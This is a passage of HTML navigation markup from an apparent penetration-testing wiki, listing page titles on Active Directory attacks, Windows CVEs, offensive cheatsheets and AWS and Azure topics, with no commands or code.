5381 lines
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|
||
<a href="../../.." class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Internal All The Things
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_2" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_2" id="__nav_2_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active directory
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_2_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_2">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Active directory
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/ad-adcs-certificate-services/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Certificate Services
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/ad-adds-acl-ace/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Access Controls ACL/ACE
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/ad-adds-enumerate/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Enumeration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/ad-adds-group-policy-objects/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Group Policy Objects
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/ad-adds-groups/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Groups
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/ad-adds-linux/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Linux
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/ad-adds-machineaccountquota/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Machine Account Quota
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/ad-adds-ntds-dumping/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - NTDS Dumping
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/ad-adds-rodc/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Read Only Domain Controller
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/ad-adfs-federation-services/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Federation Services
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/ad-integrated-dns/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Integrated DNS - ADIDNS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/ad-roasting-asrep/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Roasting - ASREP Roasting
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/ad-roasting-kerberoasting/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Roasting - Kerberoasting
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/ad-roasting-timeroasting/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Roasting - Timeroasting
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/ad-tricks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory - Tricks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/deployment-sccm/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Deployment - SCCM
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/deployment-wsus/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Deployment - WSUS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/hash-capture/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hash - Capture and Cracking
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/hash-over-pass-the-hash/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hash - OverPass-the-Hash
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/hash-pass-the-hash/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hash - Pass the Hash
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/hash-pass-the-key/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hash - Pass The Key
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/internal-dcom/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Internal - DCOM
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/internal-mitm-relay/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Internal - MITM and Relay
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/internal-pxe-boot-image/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Internal - PXE Boot Image
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/internal-shares/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Internal - Shares
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/kerberos-bronze-bit/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kerberos - Bronze Bit
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/kerberos-delegation-constrained/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kerberos Delegation - Constrained Delegation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/kerberos-delegation-rbcd/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kerberos Delegation - Resource Based Constrained Delegation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/kerberos-delegation-unconstrained/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kerberos Delegation - Unconstrained Delegation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/kerberos-s4u/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kerberos - Service for User Extension
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/kerberos-tickets/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kerberos - Tickets
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/pwd-comments/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - AD User Comment
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/pwd-dsrm-credentials/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - DSRM Credentials
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/pwd-group-policy-preferences/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - Group Policy Preferences
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/pwd-precreated-computer/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - Pre-Created Computer Account
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/pwd-read-gmsa/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - GMSA
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/pwd-read-laps/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - LAPS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/pwd-shadow-credentials/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - Shadow Credentials
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/pwd-spraying/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Password - Spraying
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/trust-pam/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Trust - Privileged Access Management
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/trust-relationship/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Trust - Relationship
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/trust-sid-hijacking/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Child Domain to Forest Compromise - SID Hijacking
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/trust-ticket/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Forest to Forest Compromise - Trust Ticket
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_2_44" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_2_44" id="__nav_2_44_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CVE
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_2_44_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_2_44">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CVE
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/CVE/MS14-068/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MS14-068 Checksum Validation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/CVE/NoPAC/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
NoPAC / samAccountName Spoofing
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/CVE/PrintNightmare/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
PrintNightmare
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/CVE/PrivExchange/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
PrivExchange
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../active-directory/CVE/ZeroLogon/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
ZeroLogon
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_3" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_3" id="__nav_3_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cheatsheets
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_3_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_3">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Cheatsheets
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cheatsheets/escape-breakout/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kiosk Escape and Jail Breakout
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cheatsheets/hash-cracking/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hash Cracking
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cheatsheets/mimikatz-cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Mimikatz
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cheatsheets/miscellaneous-tricks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Miscellaneous & Tricks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cheatsheets/network-discovery/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Network Discovery
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cheatsheets/powershell-cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Powershell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cheatsheets/shell-bind-cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Bind Shell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cheatsheets/shell-reverse-cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Reverse Shell Cheat Sheet
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cheatsheets/source-code-management-ci/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Source Code Management & CI/CD Compromise
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_4" id="__nav_4_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cloud
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_4">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Cloud
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4_1" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_4_1" id="__nav_4_1_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Aws
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_4_1_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_4_1">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Aws
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/aws/aws-access-token/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Access Token & Secrets
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/aws/aws-cli/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - CLI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/aws/aws-cognito/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Service - Cognito
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/aws/aws-dynamodb/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Service - DynamoDB
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/aws/aws-ec2/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Service - EC2
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/aws/aws-enumeration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Enumerate
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/aws/aws-iam/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Identity & Access Management
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/aws/aws-ioc-detection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - IOC & Detections
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/aws/aws-lambda/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Service - Lambda & API Gateway
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/aws/aws-metadata/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Metadata SSRF
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/aws/aws-s3-bucket/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Service - S3 Buckets
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/aws/aws-ssm/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Service - SSM
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/aws/aws-training/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS - Training
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4_2" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_4_2" id="__nav_4_2_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_4_2_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_4_2">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Azure
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
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|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/aka-ms/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
aka.ms Shortcuts
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-access-and-token/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure AD - Access and Tokens
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
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|
||
|
||
|
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|
||
|
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|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-ad-conditional-access-policy/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure AD - Conditional Access Policy
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
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|
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|
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|
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|
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|
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|
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|
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|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-ad-connect/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
